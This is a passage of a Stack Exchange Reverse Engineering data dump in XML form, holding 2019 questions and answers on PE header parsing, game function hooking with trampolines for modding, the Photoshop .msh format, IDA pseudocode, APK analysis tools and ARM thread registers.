href=&quot;http://man7.org/linux/man-pages/man3/fread.3.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;fread(3)&lt;/code&gt;&lt;/a&gt; reads &lt;code&gt;IMAGE_DOS_HEADER&lt;/code&gt; structure.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://man7.org/linux/man-pages/man3/fseek.3.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;fseek(3)&lt;/code&gt;&lt;/a&gt; sets file position indicator for the &lt;code&gt;file&lt;/code&gt; stream to the&#xA;starting of &lt;code&gt;IMAGE_NT_HEADERS&lt;/code&gt; structure using &lt;code&gt;dosHeader.e_lfanew&lt;/code&gt; value.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://man7.org/linux/man-pages/man3/fread.3.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;fread(3)&lt;/code&gt;&lt;/a&gt; reads &lt;code&gt;IMAGE_NT_HEADERS&lt;/code&gt; structure.&lt;/li&gt;&#xA;&lt;li&gt;Now reads all the section headers in a loop. Remember with &lt;code&gt;fread&lt;/code&gt; the&#xA;position indicator of the stream is advanced by the total amount of bytes read.&#xA;So, no need to increment &lt;code&gt;secHeader&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;" OwnerUserId="23069" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2019-09-19T05:00:52.583" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22155" PostTypeId="1" CreationDate="2019-09-19T19:31:45.423" Score="3" ViewCount="452" Body="&lt;p&gt;Using the New Vegas Script Extender C++ API for Fallout New Vegas, I am able to write to the process' memory directly at runtime through a .dll plugin that's loaded by the NVSE injector. But it is not a debugger, like CheatEngine, so there's no automatic handling of inserting new code to an existing assembly function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Beginning of the assembly function, &lt;code&gt;TryOpenPipboy&lt;/code&gt;, I want to inject code into: &lt;a href=&quot;https://i.stack.imgur.com/xIqmA.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://i.stack.imgur.com/xIqmA.png&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;EquipPlayerPipboy()&lt;/code&gt; function I want to inject: &lt;a href=&quot;https://i.stack.imgur.com/Gaujf.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://i.stack.imgur.com/Gaujf.png&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The game has a loop called &lt;code&gt;MainUILoop&lt;/code&gt; which runs every frame, and when the player presses tab without holding it down, &lt;code&gt;TryOpenPipboy&lt;/code&gt; is called.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My guess is that I need to somehow create a new empty block of memory, edit a copy of the original &lt;code&gt;TryOpenPipboy&lt;/code&gt; function, then replace all &lt;code&gt;TryOpenPipboy&lt;/code&gt; calls with my modified variant. But that would make a hard incompatibility with any other NVSE plugins that also modify the MainUILoop in any way, as well as any that edit &lt;code&gt;TryOpenPipboy&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: Another possible way would be to change the jmp assembly to my C++ function, then call &lt;code&gt;TryOpenPipboy&lt;/code&gt; from my function. That would mean &lt;code&gt;TryOpenPipboy&lt;/code&gt; is still called, but is unmodified, increasing potential compatibility.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how should I go about doing this?&lt;/p&gt;&#xA;" OwnerUserId="29505" LastEditorUserId="266" LastEditDate="2019-09-19T20:04:53.437" LastActivityDate="2022-11-04T18:03:20.377" Title="Injecting C++ code, while also maximizing compatibility with other injections" Tags="|windows|x86|c++|patching|game-hacking|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="22156" PostTypeId="2" ParentId="22155" CreationDate="2019-09-19T20:04:24.483" Score="1" Body="&lt;p&gt;If you just want to run code before or after &lt;code&gt;TryOpenPipboy&lt;/code&gt; is called, you can overwrite the prologue of the function with a &lt;code&gt;jmp&lt;/code&gt; to your function. Before you overwrite it, copy the instructions in the prologue to a new memory buffer, and add a jump to the rest of the function on the end, this is called a trampoline. You can use the trampoline to call the original function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:originalFunction&#xA;push ebp ;55&#xA;mov ebp, esp ;89 E5&#xA;sub esp, 0x40 ;83 EC 40&#xA;;...&#xA;ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After patching:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:originalFunction&#xA;jmp yourFunction ;?? ?? ?? ?? ??&#xA;nop ;this used to be the 0x40 byte at the end&#xA;:trampolinetarget&#xA;;...&#xA;ret&#xA;&#xA;yourFunction:&#xA;;do stuff&#xA;call trampoline ;calls the original function&#xA;;do stuff&#xA;ret&#xA;&#xA;trampoline:&#xA;push ebp&#xA;mov ebp, esp&#xA;sub esp, 0x40&#xA;jmp trampolinetarget&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If something else tries to hook the original function, they'll just overwrite that jmp instruction, and their trampoline will call your function. Microsoft's &lt;a href=&quot;https://www.microsoft.com/en-us/research/project/detours/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Detours&lt;/a&gt; library can handle all of this for you.&lt;/p&gt;&#xA;" OwnerUserId="266" LastActivityDate="2019-09-19T20:04:24.483" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="22157" PostTypeId="2" ParentId="19952" CreationDate="2019-09-20T13:16:04.317" Score="6" Body="&lt;p&gt;Here's a description of the .msh format on Adobe Photoshop CC 2019, at least of what I've been able to glean.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The format uses run-length encoding to encode the offset coordinates of the mesh cells and compress empty cells along the way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/dQGPA.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/dQGPA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The format is little endian. The header is 64 bytes. At 0x10 and 0x14 are the mesh width and height, 32-bit integers. At 0x28 and 0x2c are the image &lt;em&gt;height&lt;/em&gt; and width, 32-bit integers. The same image height and width are also found at 0x38 and 0x3c. The mesh size seems to always be 1/4th of the image size, so you get 4 pixels mesh cell.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The encoded grid starts at 0x40. Every row of mesh cells is encoded separately from the other rows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every row starts with the number of contiguous zero-offset cells, left-to-right, 32-bit integer. If the leftmost cell is non-zero then this number is zero. Then, if the row is incomplete, the number N of contiguous non-zero cells comes. Then come N pairs of 32-bit floats. If the row is incomplete, comes the number of contiguous zero-offset cells and so on until the row has been completely encoded. Then comes the next row with the number of zero-offset cells and so on until all rows have been encoded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the example above we have a 32x32 image with an 8x8 mesh. Starting at 0x40 we have:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;(row 1 starts here) 4 zero-offset cells&lt;/li&gt;&#xA;&lt;li&gt;1 non-zero cell, 2 floats&lt;/li&gt;&#xA;&lt;li&gt;3 zero-offset cells (the row is now complete)&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;(the pattern repeats for two more rows until 0x7c)&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;(row 4 starts here) 0 zero-offset cells&lt;/li&gt;&#xA;&lt;li&gt;1 non-zero cell, 2 floats&lt;/li&gt;&#xA;&lt;li&gt;3 zero-offset cells&lt;/li&gt;&#xA;&lt;li&gt;1 non-zero cell, 2 floats&lt;/li&gt;&#xA;&lt;li&gt;3 zero-offset cells (the row is now complete)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;...and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The encoded float pairs seem to be the X and Y offsets from the current pixel to the pixel from which to sample the value. Not sure if the magnitude is a distance between pixels or distance between cells, though.&lt;/p&gt;&#xA;" OwnerUserId="29666" LastActivityDate="2019-09-20T13:16:04.317" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22160" PostTypeId="2" ParentId="22155" CreationDate="2019-09-21T06:12:11.147" Score="0" Body="&lt;p&gt;Intel PIN in Probe Mode can do just. You can inject C code and PIN will even handle the context switching for you. &lt;/p&gt;&#xA;" OwnerUserId="29222" LastActivityDate="2019-09-21T06:12:11.147" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22162" PostTypeId="1" CreationDate="2019-09-22T04:04:21.730" Score="2" ViewCount="278" Body="&lt;p&gt;I'm familiar with tools for unpacking/decompiling APKs - JADX, apktool, dex2jar, JD-GUI, and the like. I'm curious if there are tools which automate other useful tasks when reversing an APK, such as:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Recognizing frameworks and SDKs built into the app&lt;/li&gt;&#xA;&lt;li&gt;Classifying the types of resources built into the app&lt;/li&gt;&#xA;&lt;li&gt;Scanning for common security blunders&lt;/li&gt;&#xA;&lt;li&gt;Finding all URLs, emails, etc.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I've come across &lt;a href=&quot;https://github.com/SUPERAndroidAnalyzer/super&quot; rel=&quot;nofollow noreferrer&quot;&gt;super&lt;/a&gt;, though I haven't found it incredibly useful in my use cases.&lt;/p&gt;&#xA;" OwnerUserId="29678" LastActivityDate="2019-09-23T18:51:09.707" Title="APK static analysis tools - frameworks used, vulnerability checks, etc?" Tags="|android|tools|static-analysis|" AnswerCount="1" CommentCount="2" ClosedDate="2019-10-15T18:58:50.167" ContentLicense="CC BY-SA 4.0" />
  <row Id="22163" PostTypeId="1" AcceptedAnswerId="22164" CreationDate="2019-09-22T10:43:32.770" Score="0" ViewCount="1838" Body="&lt;p&gt;Hi I am trying to understand pseudocode from this game I'm currently modifying.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( v11 == 501736410 )                       // case 0x1DE7E3DA: //&quot;Weapon&quot;&#xA;{&#xA;   *((_DWORD *)v6 + 326) = 3;&#xA;}&#xA;else if ( v11 == 731299553 )                  // case 0x2B96BEE1: // &quot;Speed&quot;&#xA;{&#xA;   *((_DWORD *)v6 + 326) = 2;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't understand what *((_DWORD *)v6 + 326) = 3; does I get it's changing it into a 3 but what is being changed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;v6 is void *v6; // esi@1&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="29681" LastActivityDate="2019-09-22T13:09:31.667" Title="Trying to understand *((_DWORD *) in IDA pro" Tags="|ida|c++|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22164" PostTypeId="2" ParentId="22163" CreationDate="2019-09-22T13:04:29.297" Score="0" Body="&lt;p&gt;convert  v6 into a struct&lt;br&gt;&#xA;(create a dummy if you are not sure what the members are )&#xA;look around and create a struct that is greater than the maximum accessed offset &lt;/p&gt;&#xA;&#xA;&lt;p&gt;suppose you notice *(dword *) v6 + 830 is accessed or modified &#xA;then create a struct like  (see the declaration of MyDStruct below)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You know 326 is being accessed so start with xxx = 326&#xA;ida deciphered the member at offset 326 as a DWORD * &lt;/p&gt;&#xA;&#xA;&lt;p&gt;you also noticed 830 is accessed and it is an int so the size of second unknown is &#xA;830-326-4  == 500;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;please be aware I am using 4 bytes for a pointer wrt 32 bit architecture if it is a 64 bit binary pointers will be of 8bytes wide so keep that in mind when calculating the fake counts &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;struct _MYDUMMYSTRUCT  {&#xA;byte/char [326] unknown1;  xxx == 326 see above&#xA;PDWORD Weapon;&#xA;byte/char [500] unknown2; yyy = (830- 326+4)  see above&#xA;int someint;&#xA;}MyDStruct,*PmyDstruct;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;apply this struct to v6 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the pseudo code will be more clearer &lt;/p&gt;&#xA;&#xA;&lt;p&gt;some thing along the line of &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;switch (v11)&#xA;{&#xA;    case 501xx:&#xA;       MyDStruct.Weapon = 3;&#xA;    case 731yy:&#xA;       MyDstruct.Speed = 2;&#xA;    ……&#xA;    case Default&#xA;       DoDefault&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2019-09-22T13:09:31.667" LastActivityDate="2019-09-22T13:09:31.667" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22166" PostTypeId="1" CreationDate="2019-09-22T14:34:08.173" Score="1" ViewCount="227" Body="&lt;p&gt;How do I find this function from &lt;a href=&quot;https://github.com/avast/retdec&quot; rel=&quot;nofollow noreferrer&quot;&gt;RetDec&lt;/a&gt; in x64dbg?&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;// Address range: 0x1017dba0 - 0x1017dbda&#xA;int32_t function_1017dba0(int32_t * a1) {&#xA;    int32_t fileHandle = (int32_t)CreateFileA(&amp;quot;\\\\.\\SntnlUsb&amp;quot;, -0x40000000, 3, NULL, 3, 128, NULL); // 0x1017dbb7&#xA;    g2 = fileHandle;&#xA;    *(int32_t *)-0x40000000 = fileHandle;&#xA;    int32_t v1 = g2; // 0x1017dbc3&#xA;    int32_t v2 = v1 == -1 ? 0x1c0b : 0x1c00; // 0x1017dbce&#xA;    g5 = v2;&#xA;    int32_t result = v2 | v1 &amp;amp; -0x10000; // 0x1017dbd4&#xA;    g2 = result;&#xA;    return result;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;My address is x64 debug are only going up to 01002FFE. I have no idea how to find this function when the dll is loaded into x64dbg.&lt;/p&gt;&#xA;" OwnerUserId="29682" LastEditorUserId="245" LastEditDate="2020-06-24T11:39:55.147" LastActivityDate="2020-06-24T11:39:55.147" Title="Find Retdec Address Range in x64dbg" Tags="|x64dbg|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="22168" PostTypeId="1" CreationDate="2019-09-22T16:48:16.483" Score="1" ViewCount="1068" Body="&lt;p&gt;I have 8051 firmware file, in 8051 ROM addresses can overlap external RAM addresses(movc and movx solve this issue), however IDA doesn't allow overlapping addresses:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/sciwk.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/sciwk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this example the ROM size is 0x7000 and external RAM size is 0xFFFF.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need the external RAM addresses so I can rename certain addresses, How it is possible to solve this issue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="29174" LastEditorUserId="30088" LastEditDate="2020-01-15T15:18:11.103" LastActivityDate="2020-01-15T15:18:11.103" Title="Loading 8051 binary to IDA with ROM+External RAM configuration" Tags="|ida|firmware|intel|rom|8051|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22169" PostTypeId="1" CreationDate="2019-09-22T18:45:09.017" Score="1" ViewCount="4508" Body="&lt;p&gt;I want to reverse engineer an application written in C#. I would like to set a breakpoint at a function and observe the input passed to it during the normal course of the application's functioning.&lt;/p&gt;&#xA;" OwnerUserId="29684" LastEditorUserId="29684" LastEditDate="2020-08-15T23:07:35.240" LastActivityDate="2020-08-15T23:07:35.240" Title="How to debug a DLL written in .NET/C#?" Tags="|debugging|dll|.net|breakpoint|c#|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22171" PostTypeId="2" ParentId="22169" CreationDate="2019-09-23T02:11:45.243" Score="3" Body="&lt;p&gt;I've used &lt;a href=&quot;https://github.com/0xd4d/dnSpy&quot; rel=&quot;nofollow noreferrer&quot;&gt;dnSpy&lt;/a&gt; in production for debugging as it can be put on a USB.  It's perfectly capable of decompiling and debugging dll's.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/8cTuV.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8cTuV.png&quot; alt=&quot;dnSpy screenshot&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It has a pretty rich set of features.  It's able to attach to running .net processes, decompile the code, edit variables at breakpoints and make some code changes on the fly.&lt;/p&gt;&#xA;" OwnerUserId="27882" LastEditorUserId="18014" LastEditDate="2019-09-23T13:18:49.697" LastActivityDate="2019-09-23T13:18:49.697" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22174" PostTypeId="1" AcceptedAnswerId="22595" CreationDate="2019-09-23T07:07:13.443" Score="0" ViewCount="176" Body="&lt;p&gt;I am debugging a bootloader running on QEMU i386. &#xA;&lt;a href=&quot;https://i.stack.imgur.com/xnZbp.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xnZbp.png&quot; alt=&quot;Screenshot&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue is the red value of 0x6069 shown as zero. In reality the value is the same as register al (non zero value) and the following je happens.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this a bug on R2 or am I missing some setting?&lt;/p&gt;&#xA;" OwnerUserId="29228" LastActivityDate="2019-11-21T23:09:31.873" Title="Radare2 not showing memory value correctly" Tags="|radare2|qemu|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22175" PostTypeId="2" ParentId="22166" CreationDate="2019-09-23T13:59:29.077" Score="1" Body="&lt;p&gt;i assume retdec loaded the binary at preferred ImageBase &#xA;while x64dbg relocated the binary to Some Other BaseAddress  or maybe it  viceversa&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if that is the case find the Loaded Base Address in Retdec and subtract it from the &#xA;given address&lt;/p&gt;&#xA;&#xA;&lt;p&gt;that is if Retdec Loaded it at 0x10000000&lt;br&gt;&#xA;then subtract that from 0x1017dba0&lt;br&gt;&#xA;you get a difference of 17dba0  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;add this difference to Base Address in X64dbg &lt;/p&gt;&#xA;&#xA;&lt;p&gt;that is assuming x64dbg loaded it at 0x400000 then add 17dba0 to it and make it 57dba0 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;this is where the same function will be available&lt;/p&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2019-09-23T13:59:29.077" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22176" PostTypeId="2" ParentId="22162" CreationDate="2019-09-23T18:51:09.707" Score="0" Body="&lt;p&gt;You can look at DeepDive for Android, &lt;a href=&quot;https://github.com/Nuvolect/DeepDive-Android&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/Nuvolect/DeepDive-Android&lt;/a&gt;.&#xA;In addition to Jadx, it uses CFR and Fernflower. It indexes text artifacts with the Lucene search engine and has preconfigured search sets to find emails, passwords, analytics, and a few others. It runs on Android but you can use your laptop or other big screens via the embedded Nanohttpd web server and elFinder. The app is in beta.&lt;/p&gt;&#xA;" OwnerUserId="29696" LastActivityDate="2019-09-23T18:51:09.707" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22177" PostTypeId="1" CreationDate="2019-09-23T20:07:13.570" Score="3" ViewCount="197" Body="&lt;p&gt;I have following instructions in Android shared library:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MRC p15, 0, R3,c13,c0, 3 &#xA;LDR R3, [R3,#4] &#xA;MOV R0, #0 &#xA;STR R0, [R3,#0xC]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;According to ARM documentation:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Reading or writing the Thread and Process ID Registers has no effect&#xA;  on the processor state or operation. These registers provide OS&#xA;  support and must be managed by the OS.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That's nice, but what is implementation of this register value in Android or ARM Linux?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the code, it tries to read Thread and Process ID Register value as structure,and it reads some field with offset &lt;code&gt;4&lt;/code&gt;. This field is pointer to structure itself, and it writes &lt;code&gt;0&lt;/code&gt; to field with offset &lt;code&gt;12&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, the register value is for sure not &lt;code&gt;pthread_t&lt;/code&gt;, because, according to Android source codes, &lt;code&gt;pthread_t&lt;/code&gt; field with offset 4 is &lt;code&gt;unsigned int&lt;/code&gt; and not pointer to any structure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know where can I find definition of structure returned by &lt;code&gt;MRC c13::c0::3&lt;/code&gt; in Android ARM?&lt;/p&gt;&#xA;" OwnerUserId="18321" LastEditorUserId="18321" LastEditDate="2019-09-24T09:31:44.063" LastActivityDate="2019-09-24T09:31:44.063" Title="What binary value does Thread and Process ID Register contains in Android ARM?" Tags="|android|arm|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22179" PostTypeId="2" ParentId="22177" CreationDate="2019-09-24T08:12:04.083" Score="3" Body="&lt;p&gt;Just in case anyone else will have the same issue, after reading a lot of Android sources and real applications memory dumps, I found that:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;MRC c13::c0::3&lt;/code&gt; returns pointer to structure that contains 2 words.&lt;/li&gt;&#xA;&lt;li&gt;The 2nd world is the same value as &lt;code&gt;pthread_self&lt;/code&gt; returns (i. e. it is &lt;code&gt;pthread_t&lt;/code&gt; of current thread).&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;pthread_t&lt;/code&gt; is actually pointer to &lt;code&gt;pthread_internal_t&lt;/code&gt; structure, you can see its definition here for example &lt;a href=&quot;https://android.googlesource.com/platform/bionic.git/+/refs/heads/android10-release/libc/bionic/pthread_internal.h&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://android.googlesource.com/platform/bionic.git/+/refs/heads/android10-release/libc/bionic/pthread_internal.h&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;From the definition, field at offset 12 (0xC) is &lt;code&gt;pid_t cached_pid_&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So, this code sets cached pid value to &lt;code&gt;0&lt;/code&gt;. It looks like it is required to force &lt;code&gt;getpid&lt;/code&gt; to read real &lt;code&gt;pid&lt;/code&gt; value instead of using cached one (PID caching is known source of bugs in some &lt;code&gt;glibc&lt;/code&gt; versions).&lt;/p&gt;&#xA;" OwnerUserId="18321" LastActivityDate="2019-09-24T08:12:04.083" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22180" PostTypeId="1" AcceptedAnswerId="22202" CreationDate="2019-09-24T09:38:04.527" Score="2" ViewCount="2125" Body="&lt;p&gt;I have a x86_64 ELF binary which is statically compiled. With some digging,&#xA;I have found the C library is musl. In IDA Pro 7.0, the decompiled pseudo code&#xA;shows sycalls as inline assembly code. But in latest IDA Pro 7.3.x it is shown&#xA;as an incomplete function. Take &lt;code&gt;fork()&lt;/code&gt; as an example:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;In assembly:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov eax, 57&#xA;syscall&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;In IDA Pro 7.0:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;__asm { syscall; LINUX - sys_fork }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;In IDA Pro 7.3.x:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sys_fork()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, there is some improvement :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want IDA to automatically resolve the function parameters and return values.&#xA;In Windows world, I did something similar by &lt;a href=&quot;https://reverseengineering.stackexchange.com/q/18669/23069&quot;&gt;creating type libraries&lt;/a&gt;.&#xA;Is there any way to import the whole C library (musl or glibc) in IDA without&#xA;manually editing every libc functions?&lt;/p&gt;&#xA;" OwnerUserId="23069" LastActivityDate="2020-09-15T19:52:53.080" Title="How to help IDA to auto complete libc functions?" Tags="|ida|decompilation|hexrays|libc|" AnswerCount="2" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22181" PostTypeId="1" CreationDate="2019-09-24T10:17:33.113" Score="1" ViewCount="1998" Body="&lt;p&gt;Here's the steps to repro. Just installed IDA (free) v.7.0 on a brand-new installation of Windows 10 (x64) in a VM:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/1Wjh6.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/1Wjh6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then loaded a test PE file and started debugging it (using &lt;code&gt;Local Windows Debugger&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/yPvzz.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/yPvzz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So now I want to load symbols from the Microsoft server, say for &lt;code&gt;ntdll.dll&lt;/code&gt; (or any other Windows module for that matter):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/QEsCN.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/QEsCN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This fails with the following message in the output window:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/nV5gn.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/nV5gn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DWARF: Cannot determine location of DWARF info for &quot;C:\Windows\System32\ntdll.dll&quot;.&#xA;Could not load debug info for module: &quot;C:\Windows\System32\ntdll.dll&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any idea what am I doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="14864" LastEditorUserId="14864" LastEditDate="2019-09-24T19:45:00.587" LastActivityDate="2022-07-01T06:46:58.190" Title="IDA 7.0 (free) fails to load symbols with message &quot;DWARF: Cannot determine location of DWARF info&quot; during debugging" Tags="|ida|symbols|debugging-symbols|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22182" PostTypeId="1" CreationDate="2019-09-24T10:38:47.050" Score="5" ViewCount="2760" Body="&lt;p&gt;I'm curious about this &lt;code&gt;__security_cookie&lt;/code&gt; that I keep seeing all over the &lt;code&gt;msvcp140.dll&lt;/code&gt; from my Windows 10 x64 (insider build.) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/vDXie.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vDXie.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that the address for indirect function call (or &lt;code&gt;qword_18009FBD0&lt;/code&gt;) is taken somewhere from the &lt;code&gt;.data&lt;/code&gt; section:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/NaY3A.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/NaY3A.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then it is 